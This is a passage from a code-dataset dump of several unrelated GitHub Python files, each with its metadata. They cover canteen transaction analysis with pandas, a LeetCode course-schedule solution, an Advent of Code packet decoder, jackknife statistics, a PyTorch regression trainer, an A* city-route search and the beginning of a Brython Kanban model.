'utf-8')\n ff = f.head(20000)\n path1 = r\"D:\\task\\houqin\\testfile\\test.csv\"\n ff.to_csv(path1,encoding = 'utf-8') # temp file \n return path1\n\n#从test 文件中筛选出网络缴费的数据\ndef selectNetJiaofei(path):\n f = pd.read_csv(path,encoding = 'utf-8')\n lists = f[f['对方户名']=='网络缴费'].index.tolist()\n netMoney = f.loc[lists]\n netMoney.to_csv(r\"D:\\task\\houqin\\testfile\\netJiaofei.csv\",encoding = 'utf-8') # 把网络缴费的写到另一个文件中\n for i in lists:\n f.drop(i,axis = 0,inplace = True)\n path1 = r\"D:\\task\\houqin\\testfile\\delNetJiaofei.csv\"\n f.to_csv(path1,encoding = 'utf-8') # 原数据文件,已删除网络缴费\n return path1 # 返回在原始文件中已删除网络缴费的文件 文件已减小许多\n\n# \"D:\\task\\houqin\\testfile\\delNetJiaofei.csv\" 后续处理已删除网络缴费的这个文件\ndef shiTang(path):\n #从已经删除了网络缴费的数据的文件中分离出食堂的数据并保存到另一个文件shitang.csv文件中\n f = pd.read_csv(path,encoding = 'utf-8')\n listall = []\n #总文件中对方名称列表\n listMing = ['北区第一食堂','南区第一食堂','南区回民食堂','北区西式糕点','北区欧德隆快餐','北区台北牛肉拉面','北区味美麻辣香锅','北区山西风味','北区校园餐厅','北区一层水吧','北区学子居餐厅','北区大陷饺子','南区回民风味餐厅','北区美食美客','南区一食堂2层','南区第二食堂','北区清真食堂','南区福建风味','北区川鲁鄂美食城','北区二层豆浆','北区宜家餐厅','北区川鲁豫美食城']\n for ming in listMing:\n listall.append(f[f['对方户名']==ming].index.tolist())\n listAll = list(chain(*listall)) # 多维列表转换为一维列表\n eatMoney = f.loc[listAll]\n path1 = r\"D:\\task\\houqin\\testfile\\shitang.csv\"\n eatMoney.to_csv(path1,encoding = 'utf-8')\n return path1\n\n#从食堂的数据中删除无关列,减小文件大小\ndef delNoneOfShiTang(path):\n ff = pd.read_csv(path,encoding = 'utf-8')\n ff.columns = ['1','2','3','本方户名','学号','事件名称','对方户名','交易额','流水时间']\n f = ff.drop(['1','2','3','事件名称'],axis = 1) #drop,它不改变原有的df中的数据,而是返回一个dataframe来存放删除后的数据\n path1 = r\"D:\\task\\houqin\\testfile\\shitang.csv\"\n f.to_csv(path1,encoding = 'utf-8')\n return path1\n\n#设置时间格式,将流水时间的日期格式设置为 正常的格式 并将日期列变为索引\ndef setTimeAsIndex(path):\n f = pd.read_csv(path,encoding = 'utf-8')\n f['流水时间'] = f['流水时间'].to_frame().applymap(np.int64)\n f['流水时间'] = f['流水时间'].apply(lambda x: pd.to_datetime(str(x), format='%Y%m%d%H%M%S'))\n f = f.set_index('流水时间')\n path1 = r\"D:\\task\\houqin\\testfile\\shitang.csv\"\n f.to_csv(path1,encoding = 'utf-8') # 新的文件,索引为日期列\n return path1\n\n# 首先把每一年的数据分别保存到不同的文件中,后续分开处理 所有的年数据保存到yeardata文件夹中\ndef differYearOfShiTang(path):\n f = pd.read_csv(path,encoding = 'utf-8')\n f['流水时间'] = pd.to_datetime(f['流水时间'])\n f = f.set_index('流水时间')\n os.mkdir(r\"D:\\task\\houqin\\testfile\\yeardata\") # 分开的每月的数据保存到这个文件夹中\n for i in [2013,2012,2015,2011,2014]:\n years = f[str(i)].index.tolist()\n data =f.loc[years]\n data.to_csv(r\"D:\\task\\houqin\\testfile\\yeardata\\data{}year.csv\".format(i),encoding = 'utf-8')\n\ndef main1():\n path = r\"D:\\task\\houqin\\data.csv\"\n path1 = selectNetJiaofei(selectPartOfAll(path))\n path2 = shiTang(path1)\n path3 = delNoneOfShiTang(path2)\n path4 = setTimeAsIndex(path3)\n differYearOfShiTang(path4)\n#main1()\n# 以上通过运行main()主函数实现功能:从原始数据中筛选出网络缴费的数据、筛选出食堂的数据、并将流水时间这一列设置为索引\n\n\n# 因为本身前面已经划分好了年份,所以这里只需要考虑月份和中午的时间就可以了 \n# 生成的新文件中包括 中午就餐的时间、姓名、学号、交易额\ndef differYear(year):\n os.mkdir(r\"D:\\task\\houqin\\testfile\\{}monthdata\".format(year)) \n path = r\"D:\\task\\houqin\\testfile\\yeardata\\data{}year.csv\".format(year)\n f = pd.read_csv(path,encoding = 'utf-8')\n f['流水时间'] = pd.to_datetime(f['流水时间'])\n f = f.set_index('流水时间')\n for month in [1,3,4,5,6,9,10,11,12]:\n xuehaoResult = []\n moneyResultZhong = []\n xingmingResult = []\n days = [1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30] # 为了方便处理,统一去一个月前28天 day is out of range for month\n for day in days:\n xuehao = f['{}-{}-{} 11:30:00'.format(year,month,day):'{}-{}-{} 13:30:00'.format(year,month,day)]['学号'].to_frame()\n xingming =f['{}-{}-{} 11:30:00'.format(year,month,day):'{}-{}-{} 13:30:00'.format(year,month,day)]['本方户名'].to_frame() \n moneyzhong = f['{}-{}-{} 11:30:00'.format(year,month,day):'{}-{}-{} 13:30:00'.format(year,month,day)]['交易额'].abs().to_frame()\n moneyResultZhong.append(moneyzhong)\n xuehaoResult.append(xuehao)\n xingmingResult.append(xingming)\n xuehaoresult = pd.concat(xuehaoResult)\n moneyresultzhong = pd.concat(moneyResultZhong)\n xingresult = pd.concat(xingmingResult)\n result = pd.concat([xingresult,xuehaoresult,moneyresultzhong],axis = 1,join = 'outer')\n result.to_csv(r\"D:\\task\\houqin\\testfile\\{}monthdata\\data{}year{}month.csv\".format(year,year,month),encoding = 'utf-8')\n\n# 对前面生成的文件进行分析,最后一步,算出每月的中午消费的均值并保存到新的文件即最终的文件中\n# 0 1 2 3 4 5 6 7 8\n# 10 11 12 1 3 4 5 6 9 \ndef yearFinal(year): \n path = r\"D:\\task\\houqin\\testfile\\{}monthdata\".format(year)\n filelist = os.listdir(path) \n money = []\n for file in filelist:\n path = os.path.join(r\"D:\\task\\houqin\\testfile\\{}monthdata\".format(year),file)\n f = pd.read_csv(path,encoding = 'utf-8')\n money.append(((f['交易额'].groupby([f['本方户名'],f['学号']]).sum())/30).to_frame())\n result = pd.concat([money[3],money[4],money[5],money[6],money[7],money[8],money[0],money[1],money[2]],axis = 1,join = 'outer')\n result = result.fillna(0)\n result.columns = ['201101午','201103午','201104午','201105午','201106午','201109午','201110午','201111午','201112午']\n result.to_csv(r\"D:\\task\\houqin\\testfile\\yearfinal\\{}final.csv\".format(year),encoding = 'utf-8',float_format = '%.3f') # 小数点后保留三位\n\n# 将前面生成的csv格式的文件转化为xlsx格式 because in my computer to open the csv is wrong\ndef csvToXlsx(year):\n wb = Workbook()\n ws = wb.active\n with open(r\"D:\\task\\houqin\\testfile\\yearfinal\\{}final.csv\".format(year),'r',encoding = 'utf-8') as f:\n for row in csv.reader(f):\n ws.append(row)\n wb.save(r\"D:\\task\\houqin\\testfile\\yearfinals\\{}final.xlsx\".format(year))\n\n# 把每一个文件的列索引改了:\ndef changeIndex():\n paths= r\"D:\\task\\houqin\\testfile\\yearfinals\"\n filelist = os.listdir(paths)\n os.mkdir(r\"D:\\task\\houqin\\testfile\\yearfinalss\")\n for file in filelist: #11 12 13 14 15\n path = os.path.join(r\"D:\\task\\houqin\\testfile\\yearfinals\",file)\n year = int(str(file)[:4])\n f = pd.read_excel(path,encoding ='utf-8')\n f.columns = ['姓名','学号','{}01午'.format(year),'{}03午'.format(year),'{}04午'.format(year),'{}05午'.format(year),'{}06午'.format(year),'{}09午'.format(year),'{}10午'.format(year),'{}11午'.format(year),'{}12午'.format(year)]\n path1 = os.path.join(r\"D:\\task\\houqin\\testfile\\yearfinalss\",file)\n f.to_excel(path1,encoding = 'utf-8')\n\n# 生成的最后的文件\ndef finalResult(path): \n pathfiles = []\n for file in path:\n pathfile = os.path.join(r\"D:\\task\\houqin\\testfile\\yearfinalss\",file)\n pathfiles.append(pathfile)\n f1 = pd.read_excel(pathfiles[0])\n f2 = pd.read_excel(pathfiles[1])\n result1 = pd.merge(f1,f2,how = 'outer')\n result1.to_excel(r\"D:\\task\\houqin\\testfile\\finalresult\\resutl1.xlsx\")\n \n f3 = pd.read_excel(pathfiles[2])\n f4 = pd.read_excel(r\"D:\\task\\houqin\\testfile\\finalresult\\resutl1.xlsx\")\n result2 = pd.merge(f4,f3,how = 'outer')\n result2.to_excel(r\"D:\\task\\houqin\\testfile\\finalresult\\resutl2.xlsx\")\n \n f5 = pd.read_excel(pathfiles[3])\n f6 = pd.read_excel(r\"D:\\task\\houqin\\testfile\\finalresult\\resutl2.xlsx\")\n result3 = pd.merge(f6,f5,how = 'outer')\n result3.to_excel(r\"D:\\task\\houqin\\testfile\\finalresult\\resutl3.xlsx\")\n \n f7 = pd.read_excel(pathfiles[4])\n f8 = pd.read_excel(r\"D:\\task\\houqin\\testfile\\finalresult\\resutl3.xlsx\")\n result4 = pd.merge(f8,f7,how = 'outer')\n result4.to_excel(r\"D:\\task\\houqin\\testfile\\finalresutl.xlsx\")\n\ndef main():\n years = [2011,2012,2013,2014,2015]\n for year in years: #\n differYear(year) # 直接传参 每一年不同月的午餐数据 2011 2012 2013 2014 2015\n time.sleep(6)\n os.mkdir(r\"D:\\task\\houqin\\testfile\\yearfinal\")\n for year in years:#\n yearFinal(year) # 2011 2012 2013 2014 2015\n time.sleep(5)\n os.mkdir(r\"D:\\task\\houqin\\testfile\\yearfinals\")\n for year in years:\n csvToXlsx(year)\n time.sleep(5)\n changeIndex()\n path = r\"D:\\task\\houqin\\testfile\\yearfinalss\"\n paths = os.listdir(path) #2011 2012 2013 2014 2015\n os.mkdir(r\"D:\\task\\houqin\\testfile\\finalresult\") \n finalResult(paths)\nmain()\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"loulan-D/DataAnalyse","sub_path":"StudentsGradesAnalyse.py","file_name":"StudentsGradesAnalyse.py","file_ext":"py","file_size_in_byte":10311,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"18589734634","text":"'''\nhttps://leetcode.com/problems/course-schedule/\nhttps://www.youtube.com/watch?v=EgI5nU9etnU&list=PLot-Xpze53ldBT_7QA8NVot219jFNr_GI&index=3&ab_channel=NeetCode\n'''\nfrom typing import List\n\nclass S:\n\n def canFinish(self, numCourses: int, prerequisites: List[List[int]]) -> bool:\n # map each course to prereq list\n preMap = { i: [] for i in range(numCourses) }\n print(preMap)\n for crs, pre in prerequisites:\n preMap[crs].append(pre)\n print(preMap)\n\n # visitSet = all coureses along the curr DFS path\n visitSet = set()\n def dfs(crs):\n if crs in visitSet:\n return False\n if preMap[crs] == []:\n return True\n\n visitSet.add(crs)\n for pre in preMap[crs]:\n if not dfs(pre): return False\n visitSet.remove(crs)\n preMap[crs] = []\n return True\n\n for crs in range(numCourses):\n if not dfs(crs): return False\n return True\n\n\nnumCourses = 2\nprerequisites = [[1,0]]\nprint(S().canFinish(numCourses, prerequisites))\n","repo_name":"saisai/exercises","sub_path":"algorithms/neetcode/000/graph/course-schedule/course-schedule.py","file_name":"course-schedule.py","file_ext":"py","file_size_in_byte":1116,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"18414411282","text":"import functools\nfrom typing import Tuple\n\nfrom python_utils import get_input\n\n\nclass Packet:\n def __init__(self, version: int, type_id: int):\n self.version = version\n self.type_id = type_id\n self.values = []\n self.sub_packets = []\n self.length = 0\n\n def total_version(self) -> int:\n return self.version + sum([p.total_version() for p in self.sub_packets])\n\n def result(self):\n if self.type_id == 4:\n return int(''.join(self.values), 2)\n elif self.type_id == 0:\n return sum([p.result() for p in self.sub_packets])\n elif self.type_id == 1:\n return functools.reduce(lambda x, y: x * y, [p.result() for p in self.sub_packets])\n elif self.type_id == 2:\n return min([p.result() for p in self.sub_packets])\n elif self.type_id == 3:\n return max([p.result() for p in self.sub_packets])\n elif self.type_id == 5:\n return self.sub_packets[0].result() > self.sub_packets[1].result()\n elif self.type_id == 6:\n return self.sub_packets[0].result() < self.sub_packets[1].result()\n elif self.type_id == 7:\n return self.sub_packets[0].result() == self.sub_packets[1].result()\n\n\ndef parse_packet(text: str, pos: int, is_subpacket: bool) -> Tuple[Packet, int]:\n version = int(text[pos:pos + 3], 2)\n type_id = int(text[pos + 3:pos + 6], 2)\n pos = pos + 6\n packet_length = 6\n packet = Packet(version, type_id)\n\n if type_id == 4:\n stop = False\n while not stop:\n stop = text[pos] == '0'\n packet.values.append(text[pos + 1:pos + 5])\n pos += 5\n packet_length += 5\n else:\n length_type_id = int(text[pos], 2)\n num_bits = 11 if length_type_id else 15\n length = int(text[pos + 1:pos + 1 + num_bits], 2)\n pos += 1 + num_bits\n packet_length += 1 + num_bits\n while length > 0:\n sub_packet, pos = parse_packet(text, pos, True)\n packet.sub_packets.append(sub_packet)\n length -= sub_packet.length if length_type_id == 0 else 1\n packet_length += sub_packet.length\n\n # pos += packet_length % 4 if not is_subpacket else 0\n packet.length = packet_length\n return packet, pos\n\n\ndef d16p1(text: str):\n text = ''.join([bin(int(x, 16))[2:].zfill(4) for x in text])\n\n # We have a single packet so we can simply call a recursive func\n packet, _ = parse_packet(text, 0, False)\n\n return packet.total_version()\n\n\ndef d16p2(text: str):\n text = ''.join([bin(int(x, 16))[2:].zfill(4) for x in text])\n\n # We have a single packet so we can simply call a recursive func\n packet, _ = parse_packet(text, 0, False)\n\n return packet.result()\n\n\nif __name__ == '__main__':\n text = get_input(16, 2021)\n text = text.replace('\\n', '')\n # text = \"C200B40A82\"\n print(f\"Part 1: {d16p1(text)}\")\n print(f\"Part 2: {d16p2(text)}\")\n","repo_name":"SantoSimone/Advent-of-Code","sub_path":"2021/day_16.py","file_name":"day_16.py","file_ext":"py","file_size_in_byte":2966,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"22516585875","text":"import numpy as np\nimport math\nimport sys\nimport os\nimport matplotlib.pyplot as plt\nfrom scipy.optimize import curve_fit\nimport gvar as gv\n\n\n\n\n\n\ndef Rebin_vector(vector,binsize=None,Nbin=None):\n Nobs = len(vector)\n\n # Rebin at fixed binsize\n if not binsize==None:\n Nbb = int(Nobs/binsize)\n rest = Nobs%binsize\n if rest==0: Nbin=Nbb\n else: Nbin=Nbb+1\n\n new = []\n for bb in range(Nbin):\n bin = vector[bb*binsize:bb*binsize+binsize]#-1]\n new.append( np.array(bin).mean() )\n if not rest==0:\n bin = vector[bb*binsize:]\n new.append( np.array(bin).mean() )\n\n # Rebin at fixed Nbin\n elif not Nbin==None:\n R = Nobs/Nbin\n binsize = math.floor(R)\n rest = Nobs%Nbin\n \n if rest==0: Nbb=Nbin\n else: Nbb=Nbin-1\n\n if not binsize==1:\n new = []\n for bb in range(Nbb):\n bin = vector[bb*binsize:bb*binsize+binsize-1]\n new.append( np.array(bin).mean() )\n else:\n new = vector[:Nbb].tolist()\n\n if not rest==0:\n bin = vector[-rest:]\n new.append( np.array(bin).mean() )\n\n else:\n print(\"LOCAL error in Rebin_vector(): You have to assign Nbin or binsize\")\n exit()\n\n\n\n return np.array(new)\n\n\n\n\n\n\n\n# This take an array, and calculate jackknife error\ndef Jackknife(data,binsize=None):\n\n if binsize==None: vector=data\n else: vector = Rebin_vector(data,binsize=binsize)\n\n\n # 'None' filtering\n vector = [i for i in vector if i!=None]\n vector = np.array(vector)\n\n N = len(vector)\n if N<2: \n print('ERROR: Few values. Returning None value...')\n return None\n\n mean = vector.mean()\n jk_means = []\n for ii in range(N):\n jk_means.append( np.delete(vector,ii).mean() )\n\n jkk = sum((jk_means-mean)**2)*float(N-1)/float(N)\n return math.sqrt(jkk)\n\n\n\n\n\n\ndef std_dev(vector):\n # 'None' filtering\n vector = [i for i in vector if i!=None]\n vector = np.array(vector)\n\n N = len(vector)\n mean = vector.mean()\n\n return math.sqrt( sum((vector-mean)**2)/float(N*(N-1)) )\n\n\n\n\n","repo_name":"pietro-butti/TEK-analysis","sub_path":"TEK_creutz/tools.py","file_name":"tools.py","file_ext":"py","file_size_in_byte":2175,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"71219341149","text":"from abc import ABC, abstractmethod\nimport torch\nimport shutil\nfrom torch.utils.tensorboard import SummaryWriter\nfrom utils import make_clean_dir\n\n\nclass Regression(ABC, object):\n def __init__(self, model, optimizer, save_dir=\"./data/regression/\"):\n write_graph = True\n self._model = model\n self._optimizer = optimizer\n self._training_loss_object = self._get_training_loss_object()\n self._testing_loss_object = self._get_testing_loss_object()\n self.writer = SummaryWriter(save_dir)\n make_clean_dir(save_dir, confirm_deletion=True)\n # if write_graph:\n # self._write_graph()\n\n def _write_graph(self):\n self.writer.add_graph(self._model)\n self.writer.close()\n\n @abstractmethod\n def _get_training_loss_object(self):\n return\n\n @abstractmethod\n def _get_testing_loss_object(self):\n return\n\n def _train_step(self, xs, ys):\n self._model.train()\n y_predictions = self._model(xs)\n loss = self._training_loss_object(ys.float(), y_predictions.squeeze())\n loss.backward()\n self._optimizer.step()\n return loss.item()\n\n def train_epoch(self, trainloader, epoch_idx, testloader=None):\n n_batch = len(trainloader)\n running_loss = 0.\n for xs, ys in trainloader:\n ys = ys.float() / 10.\n running_loss += self._train_step(xs, ys)\n mean_loss = running_loss / n_batch\n self.writer.add_scalar('training loss',\n mean_loss,\n epoch_idx)\n print(mean_loss, )\n self.writer.close()\n if testloader is not None:\n self.test_epoch(testloader, epoch_idx)\n\n def _test_step(self, xs, ys):\n self._model.eval()\n y_predictions = self._model(xs)\n loss = self._testing_loss_object(ys.float(), y_predictions.squeeze())\n return loss.item()\n\n def test_epoch(self, testloader, epoch_idx):\n n_batch = len(testloader)\n running_loss = 0.\n for xs, ys in testloader:\n ys = ys.float() / 10.\n running_loss += self._test_step(xs, ys)\n\n mean_loss = running_loss / n_batch\n self.writer.add_scalar('testing loss',\n mean_loss,\n epoch_idx)\n self.writer.close()\n return mean_loss\n\n\nclass LinearRegression(Regression):\n def __init__(self, model, optimizer, save_dir=\"./data/linear_regression/\"):\n super().__init__(model, optimizer, save_dir)\n\n def _get_training_loss_object(self):\n return torch.nn.MSELoss()\n\n def _get_testing_loss_object(self):\n return torch.nn.MSELoss()\n","repo_name":"yrevar/InverseRL","sub_path":"model/softmax_regression.py","file_name":"softmax_regression.py","file_ext":"py","file_size_in_byte":2724,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"13416738198","text":"#Nama Anggota Kelompok :\r\n #Wardatul Amalia Safitri - 5025211006\r\n #Melanie Sayyidina Sabrina Refman - 5025211029\r\n #Yusna Millaturrosyidah - 5025211254\r\n\r\n#Set jarak yang berisi list kota-kota yang saling terhubung beserta jarak antar kota\r\njarak = {\r\n 'Magetan': [('Ngawi', 32), ('Madiun', 22), ('Ponorogo', 34)],\r\n 'Ngawi': [('Bojonegoro', 44), ('Madiun', 30)],\r\n 'Madiun': [('Nganjuk', 48)],\r\n 'Ponorogo': [('Madiun', 29)],\r\n 'Bojonegoro': [('Jombang', 70), ('Lamongan', 42), ('Nganjuk', 33)],\r\n 'Nganjuk': [('Jombang', 40)],\r\n 'Lamongan': [('Gresik', 14)],\r\n 'Jombang': [('Surabaya', 72)], \r\n 'Gresik': [('Surabaya', 12)],\r\n 'Surabaya': [('Sidoarjo', 25), ('Bangkalan', 44)],\r\n 'Sidoarjo': [('Probolinggo', 78)],\r\n 'Bangkalan': [('Sampang', 52)],\r\n 'Probolinggo': [('Situbondo', 99)],\r\n 'Sampang': [('Pamekasan', 31)],\r\n 'Pamekasan': [('Sumenep', 34)],\r\n}\r\n\r\nclass peta:\r\n #Inisiasi sesuai set jarak yang sudah ditentukan\r\n def __init__(kotakab, jarak):\r\n kotakab.jarak = jarak\r\n \r\n #Fungsi untuk memanggil kota-kota yang terhubung\r\n def cabang(kotakab, val):\r\n return kotakab.jarak[val]\r\n \r\n #Fungsi heuristik dari setiap kota terhadap Surabaya\r\n def heur(kotakab, val):\r\n heuristik = {\r\n 'Magetan': 162,\r\n 'Surabaya': 0,\r\n 'Ngawi': 130,\r\n 'Ponorogo': 128, \r\n 'Madiun': 126,\r\n 'Bojonegoro': 60,\r\n 'Nganjuk': 70, \r\n 'Jombang': 36, \r\n 'Lamongan': 36,\r\n 'Gresik': 12, \r\n 'Sidoarjo': 22,\r\n 'Probolinggo': 70,\r\n 'Situbondo': 146,\r\n 'Bangkalan': 140,\r\n 'Sampang': 90,\r\n 'Pamekasan': 104,\r\n 'Sumenep': 150 \r\n }\r\n return heuristik[val]\r\n \r\n #Fungsi untuk melakukan searching dengan metode A star\r\n def A_star(kotakab, start, finish):\r\n #Set untuk menyimpan kota yang diexpand. Dimulai dari kota yang menjadi titik start\r\n rute = set([start])\r\n #Set untuk menyimpan kota yang dilalui\r\n past = set([]) \r\n kota = {} \r\n kota[start] = 0 \r\n parrent = {}\r\n parrent[start] = start #Inisialisasi parent start dengan dirinya sendiri\r\n \r\n while len(rute) > 0:\r\n #Inisialisasi variabel k sebelum menyimpan kota yang dipilih\r\n k = None\r\n \r\n #Memilih kota mana yang akan dipilih dari kota-kota yang diexpand\r\n for i in rute:\r\n #Perbandingannya menggunakan fungsi heuristik + jarak untuk setiap kota dari titik awal yang sudah dilalui\r\n if k == None or kota[i] + kotakab.heur(i) < kota[k] + kotakab.heur(k):\r\n k = i;\r\n \r\n #Jika tidak ada kota yang bisa dipilih \r\n if k == None:\r\n print('Rute tidak tersedia')\r\n return None\r\n \r\n #jika k sama dengan kota tujuan\r\n if k == finish:\r\n #Membuat list untuk menyimpan final rute\r\n final_rute = []\r\n \r\n #Menabahkan kota yang sudah dilalui ke final rute dengan urutan terbalik\r\n while parrent[k] != k:\r\n final_rute.append(k)\r\n k = parrent[k]\r\n \r\n #Menambahkan kota titik awal ke final rute\r\n final_rute.append(start)\r\n #Membalik urutan kota di final rute agar menjadi urutan yang baik\r\n final_rute.reverse()\r\n print('Rute A* Search: {}'.format(final_rute))\r\n return final_rute\r\n \r\n #Menentukan kota yang akan diexpand selanjutnya\r\n for (j, weight) in kotakab.cabang(k):\r\n if j not in rute and j not in past:\r\n rute.add(j)\r\n parrent[j] = k\r\n kota[j] = kota[k] + weight #Menghitung total jarak yang sudah dilalui dari kota awal hingga kota j\r\n else:\r\n #Update total jarak dengan nilai yang lebih kecil (jika ada)\r\n if kota[j] > kota[k] + weight:\r\n kota[j] = kota[k] + weight\r\n parrent[j] = k #Update parent\r\n if j in past:\r\n past.remove(j)\r\n rute.add(j)\r\n \r\n #Menghapus kota yang dilalui dari kota yang diexpand agar tidak dipilih kembali\r\n rute.remove(k)\r\n #Menambahkan kota yang sudah dilalui ke set past\r\n past.add(k) \r\n \r\n #Jika tidak ada rute yang memenuhi\r\n print('Rute tidak tesedia')\r\n return None\r\n\r\n#Membuat gambaran graph sesuai isi set jarak\r\ngraph = peta(jarak)\r\n#Memulai pencarian rute terbaik dari Magetan ke Surabaya dengan metode A Star\r\ngraph.A_star('Magetan', 'Surabaya')","repo_name":"melanierefman/informed-search-algorithm","sub_path":"A Star dengan Komen.py","file_name":"A Star dengan Komen.py","file_ext":"py","file_size_in_byte":4976,"program_lang":"python","lang":"id","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"93649893","text":"from pathlib import Path\n\nfrom omigami.spectra_matching.spec2vec.tasks.deploy_model_tasks import (\n ListDocumentPaths,\n)\nfrom omigami.spectra_matching.storage import FSDataGateway\n\n\ndef test_chunk_document_paths(tmpdir):\n paths = []\n for i in range(22):\n path = Path(str(tmpdir / f\"doc-{i}\"))\n path.touch()\n paths.append(str(path))\n\n fs_dgw = FSDataGateway()\n\n task = ListDocumentPaths(tmpdir, fs_dgw)\n document_paths = task.run()\n\n assert len(document_paths) == 22\n assert {str(p) for p in document_paths} == set(paths)\n","repo_name":"omigami/omigami-core","sub_path":"test/spectra_matching/spec2vec/tasks/test_list_document_paths.py","file_name":"test_list_document_paths.py","file_ext":"py","file_size_in_byte":566,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"72353221469","text":"import time\nfrom browser import document as doc\nfrom browser import confirm, prompt, alert, svg, window, ajax, bind\nfrom browser.local_storage import storage\nimport browser.html as html\nfrom collections import namedtuple\nimport json\n\n# ----------------------------------------------------------\nIcoColor = namedtuple(\"IcoColor\", \"name icon color\")\nSCHEMA_REVISION = \"1.0\"\nLABASE = \"LABASE\"\nSTEPS = [\n \"REPOSITÓRIO\", \"PENDENTES\", \"PLANEJANDO\", \"DESPACHO\", \"EXECUTANDO\", \"TERMINADA\"\n]\n\nSTEPS_COLORS = (\n \"#777777\", \"#888888\", \"#999999\", \"#AAAAAA\", \"#BBBBBB\", \"#CCCCCC\", \"#DDDDDD\", \"#EEEEEE\", \"#FFFFFFF\"\n)\n\n_TASKS_COLORS = [\n \"#EE0000\", \"#00CC00\", \"#0088EE\", \"#EEEE00\", \"#EEA500\"\n]\nTASKY_COLORS = tuple(\"LightCyan LightGray BurlyWood PeachPuff LightSalmon Salmon LightPink DarkOrange Red\"\n \" Yellow PaleGreen GreenYellow\"\n \" PowderBlue Aquamarine DeepSkyBlue DodgerBlue MediumOrchid RosyBrown plum orchid\".split())\nTASKS_COLORS = tuple(\"LightCyan LemonChiffon PaleGreen PowderBlue Aquamarine\"\n \" LightSalmon LightPink Orchid PeachPuff Plum\"\n \" LightGray Yellow GreenYellow DeepSkyBlue DodgerBlue\"\n \" Salmon Red MediumOrchid DarkOrange BurlyWood\".split())\n\nFACET_COLOR_ = F_ = \"darkred darkorange peach gold darkgreen navy\" \\\n \" indigo purple deeppink brown\".split()\n\nFACET_COLORS = FC = \"tomato HotPink violet LightSteelBlue CornFlowerBlue PaleTurquoise\" \\\n \" DarkSeaGreen DarkKhaki coral SandyBrown\".split()\n\nTIME_FMT = \"%Y/%m/%d %H:%M:%S\"\n\nDIAL = [f\"dial-{pos if pos != '_' else ''}\" for pos in \"off min low med-low med _ high max\".split()]\nBATT = [f\"battery-{pos if pos != '_' else ''}\" for pos in \"empty quarter half three-quarters full\".split()]\n_FACET = dict(\n level=dict(\n _self=f\"gauge {FC[0]}\",\n cloud=\"cloud ivory\", kite=\"dove cyan\", ship=\"ship green\", fish=\"fish navy\", crab=\"shrimp red\"),\n phase=dict(\n _self=f\"timeline {FC[1]}\", inception=\"brain purple\", elaboration=\"ruler cyan\",\n construction=\"hammer green\", review=\"eye yellow\", transition=\"truck-fast red\"),\n develop=dict(\n _self=f\"develop {FC[2]}\", spike=\"road-spikes purple\", feature=\"box cyan\", enhancement=\"ribbon green\",\n refactor=\"industry blue\", bugfix=\"bug red\"),\n text=dict(\n _self=f\"book {FC[3]}\", document=\"pen purple\", tutorial=\"graduation-cap blue\", manual=\"book-open green\",\n report=\"book-open-reader orange\", project=\"list-check red\"),\n nature=dict(\n _self=f\"book {FC[4]}\", development=\"building magenta\", info=\"database cyan\", engineering=\"gears Chartreuse\",\n research=\"book-atlas yellow\", science=\"vial red\"),\n work=dict(\n _self=f\"person {FC[5]}\", planning=\"pen-ruler purple\", activity=\"person-digging cyan\",\n meeting=\"people-group green\", session=\"users yellow\", exam=\"microscope red\"),\n scope=dict(\n _self=f\"stethoscope {FC[6]}\", pace=\"shoe-prints salmon\", story=\"dragon cyan\", epic=\"shield green\",\n milestone=\"bullseye orange\", release=\"truck yellow\"),\n cost=dict(\n _self=f\"wallet {FC[7]}\", farthing=\"crow salmon\", penny=\"dog cyan\", shilling=\"horse green\",\n crown=\"crown orange\", libra=\"chess-king yellow\"),\n # cost=dict(\n # _self=f\"wallet {FC[7]}\", farthing=\"_one_cent purple\", penny=\"coins cyan\", shilling=\"sun green\",\n # crown=\"crown yellow\", pound=\"money-bill red\"),\n risk=dict(\n _self=f\"radiation {FC[8]}\", low=\"circle-radiation purple\", ordinary=\"biohazard cyan\", medium=\"fire green\",\n high=\"bomb yellow\", extreme=\"explosion salmon\"),\n value=dict(\n _self=f\"heart {FC[9]}\", common=\"spray-can-sparkles salmon\", unusual=\"hand-sparkles cyan\",\n rare=\"star-half-stroke green\", legendary=\"star orange\", mythical=\"wand-sparkles yellow\"),\n)\n\n\n# FACET = {fk: {tk: IcoColor(*tv.split()) for tk, tv in fv.items()} for fk, fv in _FACET.items()}\n\n\n# ----------------------------------------------------------\nclass KanbanException(Exception):\n def __init__(self, msg):\n Exception.__init__(self, f\"Kanban Error: {msg}\")\n\n\n# ----------------------------------------------------------\nclass KanbanModel:\n NEW = True\n\n def __init__(self, counter=1, schema_revision=None, steps_colors=(),\n tasks_colors=(), tasks=None):\n self.schema_revision = schema_revision\n self._counter = int(counter)\n self._steps_colors = list(steps_colors)\n self._tasks_colors = list(tasks_colors)\n self.tasks = {\"\": Task()}\n\n if tasks is None:\n self.board = Board(counter=self._counter, schema_revision=schema_revision, steps_colors=steps_colors,\n tasks_colors=tasks_colors)\n task: Task = self.board\n self.tasks = {\"board\": task}\n # self.tasks = {\"root\": self.board}\n else:\n # self.board = Board(**(tasks[\"board\"][\"Board\"]))\n self.board = Board(**(tasks[\"board\"]))\n # self.board = Board(**(tasks[\"root\"][\"Board\"]))\n # tasks.pop(\"board\")\n # tasks.pop(\"root\")\n # self.tasks = [Task(**(tsk[\"Task\"])) for tsk in tasks if isinstance(tsk, dict)]\n self.tasks = {tsk_id: Task(**tsk) for tsk_id, tsk in tasks.items() if isinstance(tsk, dict)\n and tsk_id != \"board\"} if isinstance(tasks, dict) else {\"board\": self.board}\n # self.tasks = {tsk_id: Task(**(tsk[\"Task\"])) for tsk_id, tsk in tasks[\"tasks\"].items()\n # if isinstance(tsk, dict)\n # and \"Task\" in tsk} if isinstance(tasks, 